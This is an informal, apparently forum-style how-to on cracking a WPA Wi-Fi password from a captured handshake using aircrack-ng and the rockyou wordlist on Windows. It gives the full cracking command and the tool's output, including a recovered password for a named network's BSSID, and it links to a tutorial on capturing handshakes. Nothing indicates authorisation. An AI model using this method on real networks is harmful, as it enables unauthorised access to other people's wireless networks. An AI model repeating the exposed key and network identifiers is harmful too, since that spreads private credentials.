hi first think you have to know is aircrack-ng is decryptor for ".cap" that you got it from handshake for the ap, if you can not get that handshake so you can not get the password
this is the sample that i got
D:\aircrack-ng\bin\64bit>aircrack-ng d:\handshake_10AF_74-DA-38-4D-B0-5D_2019-01
-15T10-12-54.cap -w "d:\List Password\rockyou.txt"
Opening d:\handshake_10AF_74-DA-38-4D-B0-5D_2019-01-15T10-12-54.cap
Read 6552 packets.
# BSSID ESSID Encryption
1 74:DA:38:4D:B0:5D 10 AF WPA (1 handshake, with PMKID)
Choosing first network as target.
Opening d:\handshake_10AF_74-DA-38-4D-B0-5D_2019-01-15T10-12-54.cap
Read 6552 packets.
1 potential targets
Aircrack-ng 1.5.2
[00:00:21] 66103/9822769 keys tested (1898.10 k/s)
Time left: 1 hour, 25 minutes, 40 seconds 0.67%
KEY FOUND! [ astalavista11 ]
Master Key : C3 F5 8F DE 19 DD 40 C8 DD 61 20 9F 01 82 EE 03
18 A0 A5 FF E9 A1 58 79 CF 82 7D BF EA A8 27 15
Transient Key : 75 63 87 78 B4 7D 7E 6E C4 5B 50 1B 6C B6 7D C7
28 48 66 84 C6 4E 11 C8 FD BC E9 C0 0F 7D 60 C7
37 42 48 69 2C 4C 6C 5B 40 C1 E1 CD 56 98 56 CF
44 9B CA A0 B6 C1 DE 68 01 87 CB F8 F5 0F 72 5F
EAPOL HMAC : ED 57 CC 46 D2 8C 86 A6 F9 07 2B 5B AC 7F 21 E8
and yes i'm running this tools on windows using cmd
to get the handshake use anytools
this is the samples
https://www.kalitutorials.net/2014/06/hack-wpa-2-psk-capturing-handshake.html